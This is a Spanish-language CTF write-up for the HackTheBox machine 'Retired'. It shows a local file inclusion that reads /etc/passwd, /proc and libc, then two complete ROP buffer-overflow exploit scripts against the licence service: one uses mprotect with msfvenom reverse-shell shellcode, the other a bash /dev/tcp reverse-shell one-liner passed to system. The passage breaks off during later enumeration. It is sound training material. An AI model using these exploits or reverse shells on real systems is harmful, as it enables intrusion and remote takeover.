xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Retired



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.154
Nmap scan report for 10.10.11.154  
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Al visitar la pagina principal podemos ver que el archivo es gestionado mediante el parametro page en la petición GET el cual por defecto apunta a default.html

Podemos probar un Local File Inclusion para apuntar a archivos locales de la máquina, en este caso logramos leer directamente el archivo /etc/passwd

❯ curl -s "http://10.10.11.154/?page=/etc/passwd" | grep sh$  
root:x:0:0:root:/root:/bin/bash
vagrant:x:1000:1000::/vagrant:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Si revisamos el archivo index.php nos encontramos con que deberia haber una sanitización para el LFI sin embargo desde curl aunque tenemos un 302 nos detenemos justo antes de la redireccion a default.html y podemos ver el contenido

❯ curl -s "http://10.10.11.154/?page=index.php"
<?php
function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
} else {
    header('Location: /index.php?page=default.html');  
}

readfile($page);
?>

Por ahora buscaremos mas archivos con extensión .html, esto podemos bruteforcear usando wfuzz y un diccionario de rutas, nos encontramos con beta

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.154/FUZZ.html -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.154/FUZZ.html
Total requests: 30000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000232:   200        72 L     304 W      4144 Ch     "beta"
000000822:   200        188 L    824 W      11414 Ch    "default"

En la página beta.html nos encontramos con un campo de subida de archivos, donde nos pide que subamos un archivo de licencia con un tamaño de 512 bytes

Subimos un archivo test y al interceptar la petición con burpsuite vemos que la hace a activate_license.php enviando el contenido del archivo como licensefile

Si miramos lo que hace el php toma el contenido del archivo licensefile que recibe en la petición y lo reenvia a el puerto 1337 de la 127.0.0.1 mediante un socket

❯ curl -s "http://10.10.11.154/?page=activate_license.php"
<?php
if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '127.0.0.1', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";  
    }

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);

    socket_shutdown($socket);
    socket_close($socket);
}
?>

En el archivo /proc/sched_debug encontramos información sobre los procesos corriendo, si grepeamos por activate encontramos uno correspondiente al pid 400

❯ curl -s "http://10.10.11.154/?page=/proc/sched_debug" | grep activate
 S activate_licens   400     15754.825063        23   120         0.000000         5.085409         0.000000 0 0 /  

Si descargamos el archivo cmdline del proceso que corresponde al pid 400 podemos ver el comando con el que se ejecuto el archivo que creo el proceso

❯ curl -s "http://10.10.11.154/?page=/proc/400/cmdline" -o cmdline  

❯ cat cmdline
/usr/bin/activate_license1337

Si miramos con xxd el cmdline nos encontramos que entre activate_license y 1337 hay un . que es igual a un espacio lo que significa que 1337 es un argumento

❯ xxd cmdline
00000000: 2f75 7372 2f62 696e 2f61 6374 6976 6174  /usr/bin/activat  
00000010: 655f 6c69 6365 6e73 6500 3133 3337 00    e_license.1337.


Shell - www-data


Para ver en que consiste el programa que se ejecuta en el puerto 1337 descargamos con curl el archivo activate_license para poder analizarlo en local mas adelante

❯ curl -s "http://10.10.11.154/?page=/usr/bin/activate_license" -o activate_license  

Otorgamos permisos de ejecución a este y al ejecutarlo nos pide un argumento, como en el cmdline le pasaremos el 1337, al hacerlo empieza un listener en este

❯ chmod +x activate_license

❯ ./activate_license
Error: specify port to bind to

❯ ./activate_license 1337
[+] starting server listening on port 1337  
[+] listening ...

Para analizar mejor podemos abrirlo en ida, la función main inicia comprobando que se reciba un argumento que en este caso sera el puerto donde se pondrá en escucha

Una vez se recibe un puerto se pasa a htons para darle el formato adecuado, posteriormente se utiliza la función socket para crear un nuevo socket y luego se llama a bind simplemente para asociar el socket a la direccion local

Ahora llama a listen para que ese socket espere una conexion entrante, después con puts se muestra un mensaje para mostrar que esta en escucha, luego se llama a accept que deberia aceptar una conexion entrante cualquiera de un cliente

Luego de aceptar la conexión se guarda el nuevo descriptor que pertenece al cliente y le pasa ese socket recibido como argumento a la función activate_license

El primer bloque de la función activate_license utiliza la función read para leer el tamaño del buffer que se recibió, que es el archivo que se envia desde la web

Luego de ello se lee el buffer o contenido del archivo, sin embargo este se guarda en un buffer en rbp - 512 por lo que si el tamaño del archivo excede ese limite sobrescribira otros datos ocasionando una vulnerabilidad de buffer overflow

Antes de explotarlo es necesario revisas las protecciones del binario con checksec, casi todas estan habilitadas, entre ellas NX que impide la ejecución en la pila y PIE que hace aleatoria la dirección base del binario por lo que el rop se complica

❯ checksec activate_license
[*] '/home/user/activate_license'  
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Iniciemos usando php en el directorio donde esta activate_license.php para asi poder redirigir el licensefile a la 127.0.0.1 por el puerto 1337

❯ sudo php -S 0.0.0.0:80
PHP 8.2.5 Development Server (http://0.0.0.0:80) started  

Ahora con gdb usando el argumento 1337 correremos el programa en ese puerto

❯ gdb -q --args activate_license 1337
Reading symbols from activate_license...
pwndbg> run
Starting program: /home/user/activate_license 1337
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...

Podemos usar python para enviar nuestro payload como archivo licensefile al activate_license.php, nuestro payload consiste en 512 A's que llenaran el buffer, 8 B's que tomaran el valor de rbp y 8 C's que sobrescribirán la dirección de retorno

❯ python3 -q
>>> from pwn import cyclic
>>> import requests
>>> payload = b"A" * 512 + b"B" * 8 + b"C" * 8
>>> requests.post("http://localhost/activate_license.php", files={"licensefile": payload})  
<Response [200]>
>>>

Al hacer esto solo un hilo del programa que esta corriendo en gdb se corrompe, solo nos queda comprobar el payload, rbp tomo el valor de las B's y la direccion de retorno las C's, comprobamos que el offset es de 520 bytes para el retorno

pwndbg> run
Starting program: /home/user/activate_license 1337
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
[+] accepted client connection from 0.0.0.0:0
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] reading 528 bytes
[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
0x00005555555555c0 in activate_license (sockfd=4) at activate_license.c:64
64	activate_license.c: No existe el fichero o el directorio.
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe298:	0x4343434343434343
pwndbg>

Iniciemos un pequeño script en python importando algunas librerias que utilizaremos y definiendo el offset, ademas el junk que son A's por el offset

#!/usr/bin/python3
from pwn import p64
import requests

offset = 520
junk = b"A" * offset

Logramos tomar el control de la siguiente dirección a ejecutar sin embargo tenemos varias limitaciones, la mas importante es que no tenemos conexion directa con el programa por lo que no podriamos enviar una cadena rop para hacer un leak de libc y volver a main como en la máquina safe, y si la tuvieramos tampoco seria posible ya que tenemos el PIE que cambia la dirección base en cada ejecución


Buffer Overflow - mprotect


Aunque no tenemos un leak de libc tampoco lo necesitamos ya que el exploit se ejecutá en un hilo por lo que las direcciones base no cambian y al tener un LFI podemos leer el archivo maps del pid del proceso que contiene las direcciones base tando del binario como de las librerias y segmentos como lo es el stack

❯ curl -s "http://10.10.11.154/?page=/proc/400/maps"
55d3cd575000-55d3cd576000 r--p 00000000 08:01 2408                       /usr/bin/activate_license
55d3cd576000-55d3cd577000 r-xp 00001000 08:01 2408                       /usr/bin/activate_license
55d3cd577000-55d3cd578000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
55d3cd578000-55d3cd579000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
55d3cd579000-55d3cd57a000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license
55d3ce68f000-55d3ce6b0000 rw-p 00000000 00:00 0                          [heap]
7f670e11a000-7f670e11c000 rw-p 00000000 00:00 0 
7f670e11c000-7f670e11d000 r--p 00000000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e11d000-7f670e11f000 r-xp 00001000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e11f000-7f670e120000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e120000-7f670e121000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e121000-7f670e122000 rw-p 00004000 08:01 3635                       /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f670e122000-7f670e129000 r--p 00000000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e129000-7f670e139000 r-xp 00007000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e139000-7f670e13e000 r--p 00017000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e13e000-7f670e13f000 r--p 0001b000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e13f000-7f670e140000 rw-p 0001c000 08:01 3645                       /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f670e140000-7f670e144000 rw-p 00000000 00:00 0 
7f670e144000-7f670e153000 r--p 00000000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e153000-7f670e1ed000 r-xp 0000f000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e1ed000-7f670e286000 r--p 000a9000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e286000-7f670e287000 r--p 00141000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e287000-7f670e288000 rw-p 00142000 08:01 3636                       /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f670e288000-7f670e2ad000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e2ad000-7f670e3f8000 r-xp 00025000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e3f8000-7f670e442000 r--p 00170000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e442000-7f670e443000 ---p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e443000-7f670e446000 r--p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e446000-7f670e449000 rw-p 001bd000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f670e449000-7f670e44d000 rw-p 00000000 00:00 0 
7f670e44d000-7f670e45d000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6  
7f670e45d000-7f670e555000 r-xp 00010000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6  
7f670e555000-7f670e589000 r--p 00108000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6  
7f670e589000-7f670e58d000 r--p 0013b000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6  
7f670e58d000-7f670e590000 rw-p 0013f000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6  
7f670e590000-7f670e592000 rw-p 00000000 00:00 0 
7f670e597000-7f670e598000 r--p 00000000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e598000-7f670e5b8000 r-xp 00001000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5b8000-7f670e5c0000 r--p 00021000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5c1000-7f670e5c2000 r--p 00029000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5c2000-7f670e5c3000 rw-p 0002a000 08:01 3630                       /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f670e5c3000-7f670e5c4000 rw-p 00000000 00:00 0 
7ffe3ea7d000-7ffe3ea9e000 rw-p 00000000 00:00 0                          [stack]
7ffe3eb6f000-7ffe3eb73000 r--p 00000000 00:00 0                          [vvar]
7ffe3eb73000-7ffe3eb75000 r-xp 00000000 00:00 0                          [vdso]

La tecnica que utilzaremos será usar mprotect para modificar los permisos de la pila y hacerla ejecutable, para despues poder ejecutar ahi nuestro shellcode, en el manual de mprotect podemos ver que esta función recibe 3 argumentos, el primer argumento es la dirección a la que queremos cambiarle los privilegios, esta será el stack, la segunda el tamaño del stack y la ultima el permiso donde 7 es igual a rwx

int mprotect(void *addr, size_t len, int prot);  

En el archivo maps podemos ver las direcciones desde donde inicia hasta donde termina el stack, con ello obtenemos el primer argumento, para el segundo que es el tamaño podemos calculardo restandole la direccion de inicio a la de final

stack_start = 0x7ffe3ea7d000
stack_end = 0x7ffe3ea9e000
stack_size = stack_end - stack_start

Además en el archivo maps podemos tomar la dirección donde inicia libc en el proceso para tomarlo como libc_base para algunas operaciones mas adelante

libc_base = 0x7f670e288000

Para poder obtener los ofssets descargaremos el archivo libc de la máquina

❯ curl -s "http://10.10.11.154/?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so" -o libc-2.31.so  

Con readelf podemos obtener un offset de la función mprotect que al sumarlo con la dirección de libc_base nos daria como resultado la dirección de la función

❯ readelf -s libc-2.31.so | grep mprotect@@
  1225: 00000000000f8c20    33 FUNC    WEAK   DEFAULT   14 mprotect@@GLIBC_2.2.5  

Tenemos los 3 argumentos para mprotect pero para que la función los tome es necesario tener el control de los registros rdi, rsi y rdx para poder enviarlos ahi y llamarla, para ello con ropper buscaremos gadgets que hagan un pop a ellos

❯ ropper --file libc-2.31.so --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc-2.31.so/ELF/x86_64)> search pop rdi; ret;  
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: libc-2.31.so
0x0000000000026796: pop rdi; ret;

(libc-2.31.so/ELF/x86_64)> search pop rsi; ret;  
[INFO] Searching for gadgets: pop rsi; ret;

[INFO] File: libc-2.31.so
0x000000000002890f: pop rsi; ret;

(libc-2.31.so/ELF/x86_64)> search pop rdx; ret;  
[INFO] Searching for gadgets: pop rdx; ret;

[INFO] File: libc-2.31.so
0x00000000000cb1cd: pop rdx; ret;

(libc-2.31.so/ELF/x86_64)>

La idea ahora seria despues de llamar a mprotect hacer un salto al registro rsp que es la pila y ahora que ésta es ejecutable ejecutar ahi nuestro shellcode, aunque no encontramos un jmp rsp si encontramos instrucciones equivalentes como call esp

(libc-2.31.so/ELF/x86_64)> jmp rsp   

JMP Instructions
================

0x0000000000027a5e: call rsp;
0x00000000000307bc: call rsp;
0x000000000003afc9: push rsp; ret;
0x000000000004cf33: push rsp; ret;
0x000000000004d4b3: push rsp; ret;
0x000000000007c2ca: call rsp;
0x00000000000c6f67: call rsp;
0x00000000000c740b: call rsp;
0x00000000000e750a: call rsp;
0x00000000000e75e7: call rsp;
0x00000000000e7e9e: call rsp;
0x00000000000f9c9a: call rsp;
0x00000000000f9cb2: call rsp;
0x00000000000f9d2a: call rsp;
0x00000000000f9d42: call rsp;
0x00000000000fa131: call rsp;
0x00000000000fdc2e: call rsp;
0x0000000000106251: call rsp;
0x000000000012020e: call rsp;
0x0000000000120421: call rsp;
0x0000000000137d99: call rsp;
0x000000000016e7b7: call rsp;

22 gadgets found

(libc-2.31.so/ELF/x86_64)>

Ya en el rsp podemos ejecutar nuestro shellcode, en este caso generamos uno con msfvenom que nos envie una reverse shell, esto indicando el formato python

❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of python file: 432 bytes
shellcode =  b""
shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
shellcode += b"\x05\x48\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a"
shellcode += b"\x0e\x0a\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
shellcode += b"\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21"
shellcode += b"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb"
shellcode += b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
shellcode += b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"

Ahora simplemente lo definimos en el script de python para poder usarlo despues

shellcode =  b""
shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
shellcode += b"\x05\x48\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a"
shellcode += b"\x0e\x9b\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
shellcode += b"\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21"
shellcode += b"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb"
shellcode += b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
shellcode += b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"

Nuestra cadena rop establecerá los argumentos para mprotect con el fin de que al llamarlo modifique los privilegios del stack a 7 o rwx para hacerlo ejecutable, luego con un call al registro rsp podremos ejecutar nuestro shellcode en la pila

payload  = b""
payload += junk
payload += p64(libc_base + 0x26796) # pop rdi; ret;  
payload += p64(stack_start)         # addr
payload += p64(libc_base + 0x2890f) # pop rsi; ret;  
payload += p64(stack_size)          # len
payload += p64(libc_base + 0xcb1cd) # pop rdx; ret;  
payload += p64(0x7)                 # prot
payload += p64(libc_base + 0xf8c20) # mprotect()
payload += p64(libc_base + 0x27a5e) # call rsp;
payload += shellcode

Luego de definir el payload en el script simplemente mediante una petición POST enviar el payload como archivo llamado licensefile a el php de la máquina victima

requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})  

El script final para ejecutar el Buffer Overflow utilizando la función mprotect para cambiar los permisos de la pila y hacerla ejecutable quedaria de la siguiente manera

#!/usr/bin/python3
from pwn import p64
import requests

offset = 520
junk = b"A" * offset

libc_base = 0x7f670e288000

stack_start = 0x7ffe3ea7d000
stack_end = 0x7ffe3ea9e000
stack_size = stack_end - stack_start

shellcode =  b""
shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f"
shellcode += b"\x05\x48\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a"
shellcode += b"\x0e\x9b\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
shellcode += b"\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21"
shellcode += b"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb"
shellcode += b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
shellcode += b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"

payload  = b""
payload += junk
payload += p64(libc_base + 0x26796) # pop rdi; ret;
payload += p64(stack_start)         # addr
payload += p64(libc_base + 0x2890f) # pop rsi; ret;
payload += p64(stack_size)          # len
payload += p64(libc_base + 0xcb1cd) # pop rdx; ret;
payload += p64(0x7)                 # prot
payload += p64(libc_base + 0xf8c20) # mprotect()
payload += p64(libc_base + 0x27a5e) # call rsp;
payload += shellcode

requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})  

Al ejecutar el script enviara la petición con nuestro payload y al programa interpretarla nos enviara una revshell en este caso como www-data a nuestro host

❯ python3 exploit.py

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.154 
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@retired:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@retired:~$ hostname -I
10.10.11.154 
www-data@retired:~$


Buffer Overflow - writable


Otro metodo de explotarlo es usando una sección writable, pero antes necesitaremos obtener del maps para obtener la dirección base de libc para los gadgets

libc_base = 0x7f670e288000

Usando rabin2 para ver las secciones de libc, podemos ver una seccion .data donde tenemos los permisos rw- osea que podemos escribir en esta

❯ rabin2 -S libc-2.31.so
[Sections]

nth paddr           size vaddr          vsize perm type        name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000       0x0 0x00000000       0x0 ---- NULL
1   0x000002e0      0x24 0x000002e0      0x24 -r-- NOTE        .note.gnu.build-id
2   0x00000304      0x20 0x00000304      0x20 -r-- NOTE        .note.ABI-tag
3   0x00000328    0x34f4 0x00000328    0x34f4 -r-- HASH        .hash
4   0x00003820    0x3cb4 0x00003820    0x3cb4 -r-- GNU_HASH    .gnu.hash
5   0x000074d8    0xde30 0x000074d8    0xde30 -r-- DYNSYM      .dynsym
6   0x00015308    0x60c1 0x00015308    0x60c1 -r-- STRTAB      .dynstr
7   0x0001b3ca    0x1284 0x0001b3ca    0x1284 -r-- GNU_VERSYM  .gnu.version
8   0x0001c650     0x470 0x0001c650     0x470 -r-- GNU_VERDEF  .gnu.version_d
9   0x0001cac0      0x30 0x0001cac0      0x30 -r-- GNU_VERNEED .gnu.version_r
10  0x0001caf0    0x7a28 0x0001caf0    0x7a28 -r-- RELA        .rela.dyn
11  0x00024518     0x468 0x00024518     0x468 -r-- RELA        .rela.plt
12  0x00025000     0x300 0x00025000     0x300 -r-x PROGBITS    .plt
13  0x00025300      0x20 0x00025300      0x20 -r-x PROGBITS    .plt.got
14  0x00025320  0x149439 0x00025320  0x149439 -r-x PROGBITS    .text
15  0x0016e760     0xe4c 0x0016e760     0xe4c -r-x PROGBITS    __libc_freeres_fn
16  0x00170000   0x23f18 0x00170000   0x23f18 -r-- PROGBITS    .rodata
17  0x00193f20      0x1c 0x00193f20      0x1c -r-- PROGBITS    .interp
18  0x00193f3c    0x61b4 0x00193f3c    0x61b4 -r-- PROGBITS    .eh_frame_hdr
19  0x0019a0f0   0x1fae8 0x0019a0f0   0x1fae8 -r-- PROGBITS    .eh_frame
20  0x001b9bd8     0x41b 0x001b9bd8     0x41b -r-- PROGBITS    .gcc_except_table
21  0x001ba5e0      0x10 0x001bb5e0      0x10 -rw- PROGBITS    .tdata
22  0x001ba5f0       0x0 0x001bb5f0      0x80 -rw- NOBITS      .tbss
23  0x001ba5f0      0x10 0x001bb5f0      0x10 -rw- INIT_ARRAY  .init_array
24  0x001ba600    0x2580 0x001bb600    0x2580 -rw- PROGBITS    .data.rel.ro
25  0x001bcb80     0x1e0 0x001bdb80     0x1e0 -rw- DYNAMIC     .dynamic
26  0x001bcd60     0x298 0x001bdd60     0x298 -rw- PROGBITS    .got
27  0x001bd000     0x190 0x001be000     0x190 -rw- PROGBITS    .got.plt
28  0x001bd1a0    0x1600 0x001be1a0    0x1600 -rw- PROGBITS    .data
29  0x001be7a0      0xf0 0x001bf7a0      0xf0 -rw- PROGBITS    __libc_subfreeres
30  0x001be8a0     0xd68 0x001bf8a0     0xd68 -rw- PROGBITS    __libc_IO_vtables
31  0x001bf608       0x8 0x001c0608       0x8 -rw- PROGBITS    __libc_atexit
32  0x001bf610       0x0 0x001c0620    0x3d50 -rw- NOBITS      .bss
33  0x001bf610       0x0 0x001c4370     0x198 -rw- NOBITS      __libc_freeres_ptrs  

Lo que haremos sera ejecutar un comando con system asi que usando readelf buscaremos el offset de la funcion system en la libreria libc que descargamos

❯ readelf -s libc-2.31.so | grep system@@
  1430: 0000000000048e50    45 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.2.5  

Lo que nos interesa es ejecutar un oneliner de bash el cual nos envie una reverse shell, por ahora lo definiremos y despues veremos como inyectarlo en el programa

command = b"bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'"

Nuestra cadena rop pretende guardar esta cadena en la sección .data para después pasarle esta dirección a system, sin embargo esta cadena solo podemos enviarla en qwords con un mov al desreferenciado de un registro, por lo que necesitaremos un gadget tipo mov [???], ???; ret; y sus respectivos pops a los registros

❯ ropper --file libc-2.31.so --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc-2.31.so/ELF/x86_64)> search mov [rdi], rsi; ret;  
[INFO] Searching for gadgets: mov [rdi], rsi; ret;

[INFO] File: libc-2.31.so
0x00000000000603b2: mov qword ptr [rdi], rsi; ret;

(libc-2.31.so/ELF/x86_64)> search pop rdi; ret;
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: libc-2.31.so
0x0000000000026796: pop rdi; ret;

(libc-2.31.so/ELF/x86_64)> search pop rsi; ret;
[INFO] Searching for gadgets: pop rsi; ret;

[INFO] File: libc-2.31.so
0x000000000002890f: pop rsi; ret;

(libc-2.31.so/ELF/x86_64)>

Iniciaremos el payload simplemente junk hasta antes de sobrescribir el retorno

payload =  b""
payload += junk

Mediante un bucle for cargaremos de 8 en 8 bytes del comando al registro rsi y guardaremos en rdi la dirección de .data con el offset necesario, luego al ejecutar el mov depositaremos los 8 bytes de la cadena en la sección .data asi que al terminar deberiamos tener todo el comando de bash en la sección .data

for i in range(0, len(command), 8):
    payload += p64(libc_base + 0x26796)         # pop rdi; ret;
    payload += p64(libc_base + 0x1be1a0 + i)    # .data
    payload += p64(libc_base + 0x2890f)         # pop rsi; ret;
    payload += command[i:i+8].ljust(8, b"\x00") # string
    payload += p64(libc_base + 0x603b2)         # mov qword ptr [rdi], rsi; ret;  

Para terminar el payload en el registro rdi guardaremos la direccion de la seccion .data que contiene nuestro comando de bash, seguido de la funcion system que al leer el primer argumento de rdi ejecutara el oneliner y enviara la revshell

payload += p64(libc_base + 0x026796) # pop rdi; ret;  
payload += p64(libc_base + 0x1be1a0) # .data
payload += p64(libc_base + 0x048e50) # system()

Finalmente enviamos la petición con el payload que hemos definido como licensefile

requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})  

Este script al ejecutarlo deberia explotar el bof remotamente y enviarnos la shell

#!/usr/bin/python3
from pwn import p64
import requests

offset = 520
junk = b"A" * offset

libc_base = 0x7f670e288000

command = b"bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'"

payload =  b""
payload += junk

for i in range(0, len(command), 8):
    payload += p64(libc_base + 0x26796)         # pop rdi; ret;
    payload += p64(libc_base + 0x1be1a0 + i)    # .data
    payload += p64(libc_base + 0x2890f)         # pop rsi; ret;
    payload += command[i:i+8].ljust(8, b"\x00") # string
    payload += p64(libc_base + 0x603b2)         # mov qword ptr [rdi], rsi; ret;

payload += p64(libc_base + 0x026796) # pop rdi; ret;
payload += p64(libc_base + 0x1be1a0) # .data
payload += p64(libc_base + 0x048e50) # system()

requests.post("http://10.10.11.154/activate_license.php", files={"licensefile": payload})  

Al ejecutar el script enviara la petición con nuestro payload y al programa interpretarla nos enviara una revshell en este caso como www-data a nuestro host

❯ python3 exploit.py

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.154 
www-data@retired:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@retired:~$ hostname -I
10.10.11.154 
www-data@retired:~$


Shell - dev


Si miramos los archivos que hay encontramos 4 archivos zip de backups, la licencia generada por la explotación anterior y el directorio html de la web

www-data@retired:~$ ls -l
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:46 2023-06-23_17-46-07-html.zip  
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:47 2023-06-23_17-47-01-html.zip  
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:48 2023-06-23_17-48-07-html.zip  
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:49 2023-06-23_17-49-01-html.zip  
drwxrwsrwx 5 www-data www-data   4096 Mar 11  2022 html
-rw-r--r-- 1 www-data www-data  12288 Jun 23 17:48 license.sqlite
www-data@retired:~$

Como parece que los zip son creados por una tarea podemos listar las proximas tareas, faltan 33 segundos para que el servicio website_backup.service se ejecute

www-data@retired:~$ systemctl list-timers 
NEXT                        LEFT          LAST                        PASSED               UNIT                         ACTIVATES
